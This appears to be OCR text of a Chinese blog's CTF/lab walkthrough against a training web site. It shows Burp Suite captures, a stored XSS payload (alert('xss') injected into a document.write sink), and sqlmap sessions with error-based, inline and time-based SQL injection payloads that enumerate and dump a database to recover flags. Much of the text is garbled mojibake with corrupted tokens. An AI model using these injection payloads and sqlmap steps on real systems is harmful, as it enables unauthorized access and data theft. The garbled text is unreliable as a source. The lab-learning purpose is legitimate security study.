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Follow redirection

mHexm =

1 GET /zutif/index? HITP/L. 1
2 Host: rimovni.exeye. run
Sec—Ch-Ua: "Google Chrome”;
Brand”; v="99"
4 Sec—Ch-Ua-Mobile: 70
Sec-Ch-Ua-Platform: "Windows”
Upgrade-Insecure-Request
T User-Agent: Mozilla/5.0 (Windows NT 10.0; Win4;, =64)
AppleWebKit/537. 36 (KHIML, like Gecko) Chrome/95. 0. 4638.69
Safari/537. 38
Accept:
text/html, application/xhtml+xml, application/xml; q=0. 9, image/avif
, image/webp, image/apneg, */#;q=0. 8, application/signed-exchange;v=h
3;9=0.9
Sec-Fetch-Site: same-origin
10 Sec-Fetch-Mode: navigate
11 Sec-Fetch-User: 91
12 Sec-Fetch-Dest: document
13 Referer: https://rimovni. exeye. run/zutif/helle
14 Accept-Encoding: gzip, deflate
zh-CN, zh; q=0. 9

Accept-Language
16 Connection: close
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INSPECTOR
Request Attributes
Query Parameters (0)
Body Parameters (0)
Request Cookies (0)
Request Headers (15)

Response Headers (6)

0 matches



, Done 3,371 bytes | 288, millis m

WS AR, K Iiflag

Burp Project Intruder Repeater Window Help Burp Suite Professional v2021.10 - Temporary Project - licensed to Uncia - O X
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options Learn
1 = o
T m Cancel Follow redirection Target: https://rimovni.exeye.run j HTTP/1 @
I @ x|
Request Response = INSPECTOR %
5 Pretty Hex in = Raw Hex Render = Request Attributes v i
1 GET /zutif/index? HITP/L 1 P |
i 2 Host: rimovni.exeye. run Cbry Query Parameters (0) v
» 3 Sec—Ch-Ua: “Google Chrome”;v="95", "Chromium”;v="95", " Mot A Cbry
Brand”; v="99" <bry
4 Sec-Ch-Ua-Mobile: 70 Cbro Body Parameters (0) bl |
5 Sec~Ch-Ua-Platform: "Windows” <br» i
6 Uperade-Insecure-Requests: 1 ) Cory Request Cookies (0) w
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64) 88 <p style="color:white;text-align:center; font-size:200%">
AppleWebKit/537. 36 (KHIML, like Gecko) Chrome/95.0.4638.69 &nbsp ; &nbsp ; &nbsp; &nbsp; &nbsp; Hénbsp ; nbsp; &nbsp; Bénbsp
Safari/537. 36 &nbsp; &nbsp; Lénbsp  &nbsp ; &nbsp; Lénbsp ; &nbsp ; &nbsp; 0&nb Request Headers (15) bt
9 Accept: ) ) sp;&nbsp; * &nbsp; &nbsp; Hinbsp ; &nbsp ; &nbsp; Aknbsp ; &nbsp ;
text/html, appllcatlun/xhtml+§ml, application/xml;q=0. 9, 1mage;'avif &nbsp; Cénbsp; fnbsp; &nbsp; K&nbsp; &nbsp; &nbsp; Eénbsp; &nbs Response Headers (6) hd
, image/webp, image/apng, */#*;q=0. 8, application/signed-exchange; v=h p;&nbsp; Rénbsp; &nbsp; !
3;9=0.9 <o
9 Sec-Fetch-Site: same-origin 89 <p style="
210 Sec-Fetch-Mode: navigate color:white;text-align:center; font-size: 100%; opacity:0. 5;
11 Sec-Fetch-User: 71 3
112 Sec-Fetch-Dest: document Are you ready to start this game 7
13 Referer: https://rimovni. exeve. run/zutif/hello <>
14 Accept-Encoding: gzip, deflate 90 <div class="buttons” style="text-align:center;”>
15 Accept-Language: zh-Cl, zh;q=0.9 <bry
16 Connection: close <br>
7 91 <form>
18 <button class="pulse” formaction="/zutif/index">
Start
8 </button>
</form»
| | 92 <p>
| two {So_that_Is_it}
I <fp>
93 <fdivy
b} 94 </form»
1 95 fdivy
b 96 </body>
97 </html>
98
Search... 0 matches @@ Search... 0 matches >
by g

NO.7
REBEA RN, RERKET

TWOSECURITY

Twosecuruty's community

THE BEST OF SECURITY.

BT RISIENGICSP

EMliztPayPal LI CSPHIRSABRIPRIFGER, BEWMT —HEBHEIL.

Posted by Start JIAJAIWA on September 24, 2018 CSDN @beirry,

BT I IR A R — R RS B ER.



AT R BBk fur, DA EZRLS .

url

ThREFRER

- y=d

HOME  |https.//rimovni.exeye.run/mecimlif/index

NEABETEE—ENFLERINTE

*=T

https.//rimovni.exeye.run/mecimlif/about

EEs I E— AR

TAEE

https.//rimovni.exeye.run/mecimlif/home

JUBRITAES

https.//rimovni.exeye.run/mecimlif/rename

(E L)

ST ERTAER

B=, NUATHREBHREBRAIEZERN RN, HRBUENN

MANERERTR

MAER

WE: fsalfj

HEFE: djaslfi@gg.com

8l dklasfj

AMEEE dsajl

exER

L MRB/E, ROEBSE B TEEAKE
T BATAT LA AxssiBf), FEEREHIEA ") alert("xss

G | AR R

(ED S

=
");alert("xss
HEFE

skhdf@qqg.com

& al

2

FERUMHATARERIF ERERK. BERELMNEE, BRE

TR REIE KRE RS s AT B =2

<html>
» <head>..c/head>
v <body>

<hr>
</div>
</div>
html  body div#profile.container.profile.profile-view ~ div.form-row.profile-row ...
Pogkla #mx AE FEt
Aa * |<script> CcC o

» <nav class-"navbar navbar-light navbar-expand-lg fixed-top" id-'main
Mav'>..c/nav> | flex
» <header class-"masthead” style-"background-image:url('https://stati
c.twosecurity.xyz/108test/assets/img/contact-bg.jpg"); ">..</header>
<div class="card"></div> | flex
v<div class="container profile profile-view" id="profile">
»<div class—"row">.</divs (flex
vediv class="form-row profile-row">  flex
> <div class-"col-md-4 relative”>.</div>
¥cdiv class="col-md-8">
<hl class-"text-center >4 AfE8.</hl>
<hr>
v<div class="form-row">  flex
¥cdiv class="col-sm-12 col-md-6">
v<div class-"form-group”>
<label>¥#E : </label>
¥ <label> —- $0
v<script type="text/javascript”>
document . write("fsalfi");

</script>
"Fsalty"
</label>
<fdiv>
</div>
<fdiv>
» <div class="form-group”».</div>
¥ <div class="form-row”>.c/div>( flex

Lighthouse
o HE e wR SELEE >

HackBar o6 B3 | &

for thov .cls +, { A
element.style {

¥

label { bootstrap.min.css:12

display: inline-block;
margin-bottom: @.5rem;

*{ Mews-articl.riknl.css:1
font—family: 'Raleway’, sans-serif;

}

*, :after, :before { bootstrap.min.css:12
box-sizing: border-box;

Label { A REELE

cursor: default;

H27FE body

body {
font-size: 20px;
color: MI¥212529;

bootstrap.min.css:12

}
body { bootstrap.min.css:12
Fomrt—femi b —oppie-

font-weight: 40Q;
line-height: 1.5;
text-align: left;

e P

CSDN-@beirry

B4 NE B HEEEdocument write )2 3k, BL& /A FE<script>irZ N



23]

dlasj

MERER

jdlks;

RATRIF, HExss

CSDN @beirry_

. . — K KE KB 22 Lighthouse  HackBar
rimovniLexeye.run Em
H EHEEX BE  BHEE >
XSS —
g thov .cls G-
FOTF BRI ERE

kot

=R X EE

Aa = [<script>

i EEE

CSDN-@beirry

A] LLE Eldocumentwrite ) A&, alert('xss’)#itti, HARMATLIEBAEEN S N<a>, <img>FiHixssitf), s

MAER

g

HEFE: skhdf@gg.com

c & da wE A R

TR EHIE
<html>
» <head>..c/head>
¥ <body>
» <nav class-"navbar navbar-light navbar-expand-lg fixed-top" id-'main
Mav'>..c/nav> | flex
» <header class-"masthead” style-"background-image:url('https://stati
c.twosecurity.xyz/108test/assets/img/contact-bg.jpg"); ">..</header>
<div class="card"></div> | flex
¥cdiv class="container profile profile-view” id="profile>
ou”>.é/div> ( flex
form-row profile-row>  flex
> <div class-"col-md-4 relative”>.</div>
¥cdiv class="col-md-8">
<hl class="text-center">4 AfE8</h1>
<hr>
v<div class="form-row">  flex
0l-sm-12 col-md-

» <div class
Yeadiv class=

¥cdiv class=

v<div class-"form-group”> -= 56
<label>¥ & : </label>
¥ <label>

¥<script type="text/javascript’>

Lighthouse
B EdRE BR FhLE >

o o ox

HackBar @7 R3

s thov .cls +, [ ~

element.style {
¥

.form-group {
margin-bottom: lrem;

bootstrap.min.css:12

= { Mews-articl.riknl.css:1

font-family: 'Raleway’, sans-serif;
*, :after, :before { bootstrap.min.css:12

box-sizing: border-box;
div { Ylatis: o=
display: block;

H27FE body

body {
Font-size: 20px;
color: M¥212525;

bootstrap.min.css:12




30 dlasj I document.urite("");alert("xss"); I }

body { bootstrap.min.css:l2
<fscript> margin: » 0;
’l\ﬁﬁ%ﬁ:jdlksj (/llabel) ]
</div> YT Reb Hel N CET)
</div> s, i B

<fdiv> Fortsizertrem;
ExER »<div class="form-group”>.</divs font-weight: 400;
» <div class="form-row">.c/div> | flex line-height: 1.5;

text-align: left;

<hr> ; .
</div> background-color: [I#FFf;
i |}
<fdiv>
.. Sfile-row  divcol-md-8 divform-row  div.col-sm-12.col-md-6 divform-group ... 2B html -
Rl #BR x FEE FE X
Aa .+ [escript> | c o
Copyright © Brand 2020 -~ CSDi-@beirry

NO.8

RIS UL BAKE, 1R BB KR —EsqREN S

rimovni.exeye.run B

one two three four five from search

»

Search

RN one two,three four fiveX IR 4, FHIAZF1, 2, 3, 4, SHIRES, TUUNRXAMEGKELSH T, —HRE, BEE
REsqlmap il —i .
BREINESE, BEEE, RiXEREFEEXCH

Burp Project Intruder Repeater Window Help Burp Suite Professional v2021.10 - Temporary Project - licensed to Uncia - [m}
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options Learn
Intercept HTTP history WebSockets history Options

f [ Request to https://rimovni.exeyerun:443 [139.196.176.64]

Action || Open Browser Comment this item |« HTTRN
1 POST /rodka/warrant HTTP/L 1
2 Hest: rimovni.exeye. run
3 Content-Length: 5
4 Cache-Control: max-age=0 Scan
5 Sec-Ch-Ua: "Google Chrome”;v="95", "Chromium”;v="95", ";No
6 Sec—Ch-Ua-Mobile: 70 Do passive scan
7 Sec-Ch-Ua-Platferm: “Windows” .
3 Upgrade-Insecure-Requests: 1 Do active scan
9 Origin: hrips://rimowvni. exeyes.run Send to Intruder Ctrl-1
10 Content=-Type: application/x-www-form-urlencoded
11 User-fgent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64) Appl  Send to Repeater Ctrl-R 495, 0. 4638. 69 Safari/337.36
12 Accept: text/html, application/zhtml+xzml, application/zml; q= Send to Sequencer q=0, 8, application/signed-exchange; v=b3;q=0.9
13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-Mode: navigate Send to Comparer
15 Sec—Fetch-User: 71
16 Sec—Fetch-Dest: document Send to Decoder
17 Referer: https://rimovni.exeye. run/rodka/index? Request in browser y
18 Accept-Encoding: gzip, deflate
19 Accept-Language: zh-CN, zh;q=0.9 Engagement tools >
5? Comnection: close Change request method
22 |=ql=1 Change body encoding
Copy URL
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[']1 legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:02:12 /2021-12-05/

[ 121 [ 1 parsing HTTP request from *1.txt'
[ 121 [ resuming back-end DBMS 'mysql’
I 12] [INFO] testing connection to the target URL
[ 14] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
Parameter: sqgl (POST)
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
Payload: sql=(SELECT 5287 FROM{SELECT COUNT(*),CONCAT(8x71766a7a71, (SELECT (ELT(5207=5287,1))),0x71706707071,FLOOR(RAND(8)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

Type: inline query
Title: Generic inline queries
Payload: sql=(SELECT CONCAT (CONCAT(0x71766a7a71, (CASE WHEN (3167=3167) THEN @x31 ELSE 0x30 END)),0x7170707071))

Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: sql=(SELECT 8912 FROM (SELECT(SLEEP(5)))FgdI)

[00:02:14] [INFO] the back-end DBHS is MySQL
web application technology: OpenResty 1.15.8.2
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[ :14] [ ] fetching database names

11 1 resumed: ‘'information_schema'
[ 141 [ 1 resumed: 'twosecul_vuln_81'
available databases [2]:
[*]1 information_schema
[*] twosecul vuln 61

[ 141 [ ] fetched data logged to text files under ‘/root/.local/share/sqlmap/output/rimovni.exeye.run’
[*1 ending @ 00:02:14 /2021-12-05/

[root@VM-16-17-centos sqlmapl# [ CSDN @beirry

ALUERESTHNMEEE, F—NMEHERRBRINNEER, BLAEE IR, python sglmap.py -r 1.txt -D

wosecul vuln_01 --tables

_IVe.s |_| https://sqlmap.or

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
liability and are not responsible for any misuse or damage caused by this program

[*] starting @ ©0:03:52 /2021-12-05/

[ parsing HTTP request from 'l.txt'
[ resuming back-end DBMS ‘mysql’
[ 2] [INFO] testing conmection to the target URL
[ 53] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
Parameter: sql (POST)
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
Payload: sql=(SELECT 5207 FROM{SELECT COUNT(*),CONCAT(0x71766a7a71, (SELECT (ELT(5207=5267,1))),0x7170707071,FLOOR(RAND(@)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

Type: inline query
Title: Generic inline queries
Payload: sql=(SELECT CONCAT (CONCAT(0x71766a7a71, (CASE WHEN (3167=3167) THEN 0x31 ELSE 0x30 END)),0x7176707671))

Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: s5ql=(SELECT 8912 FROM (SELECT(SLEEP(5)))FgdI)

[00:03:53] [INFO] the back-end DBMS is MySQL

web application technology: OpenResty 1.15.8.2

back-end DBMS: MySQL >= 5.0 (MariaDB fork)
] fetching tables for database: *twosecul vuln_01'
] resumed: 'search’

Database: twosecul vuln_01

[1 tablel

+

] fetched data logged to text files under '/root/.local/share/sqlmap/output/rimovni.exeye.run’

[*] ending @ 00:03:53 /2021-12-05/

[root@VM-16-17-centos sqlmapl# [l CSDN @beirry

BETRAGEFZBS python sqlmap.py -r 1.txt -D wosecul_vuln 01 -T search --columns

Payload: sql=(SELECT 5207 FROM{SELECT COUNT(*),CONCAT(0x71766a7a71, (SELECT (ELT(5207=5267,1))),0x7170707071,FLOOR(RAND(@)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

Type: inline query
Title: Generic inline queries
Payload: sql=(SELECT CONCAT (CONCAT(0x71766a7a71, (CASE WHEN (3167=3167) THEN 0x31 ELSE 0x30 END)),0x7176707671))

Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: sql=(SELECT 8912 FROM (SELECT(SLEEP(5)))FgdI)




nols
: MySQL >= 5.0 ll‘|arlaDE fork)
] fetching columns for table * rch® in databas twosecul_vuln_f

‘varchar (255
1 search
[5 columns]

-

Column | Type

to text files under */root/.local/share/sqlmap/output/rimovni
ending

[root@M-16-17-centos sqlmapl# I

XANAT BUE 3 2 B 4 Aone,two three four five, BRIER—HE—FE, BMARMNEERERBIET .
B F B python sqlmap.py -r 1.txt -D twosecul vuln 01 -T search -C one,two,three,four,five --dump

1 resuming back-end DBMS 'mysql’

sponse body which could interfere with the results of the tests
Parameter: sl (POST)

OOR(RAND(®)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

167) THEN

(substraction)

l l‘
lI‘IarlaDB fork)
g entries of column(s) '‘one’,five,four,three,two' for table 'search' in database 'twosecul_vuln_01'
Apple A Day Keep Doctor Away'
‘wuwukai'
‘The four seasons’
‘I visit t must be th
"two{a_jAr_oF_hoNey}'

| two | four

four seasons | wuwukai |

to CSV file '/root/.local/share/sqlmap/output/rimovni.exeye. run/dump/twosecul_vuln_81/search
*/root/ . local/share/sqlmap/output/rimovni.exeye. run’

[root@WM-16-17

5 3flag

NRGFTME, ZIMRFEEREZBIEN, REHEBREEER

rimovni.exeye.run &7
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sec-ch-ua-mobile: 20
sec-ch-ua-platform: "Windows"
Upgrade- Insecure-Requests: 1
Origin: https://rimovni.exeye.run
Content-Type: application/x-wwe-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win6d; x64) AppleWebKit/537.36 (KHTHL,
like Gecko) Chrome/95.8.4638.69 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q-0.9,image/avif,image/u
ebp, image/apng,*/*;q=0.8, application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Referer: https://rimovni.exeye.run/uhe/index

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9
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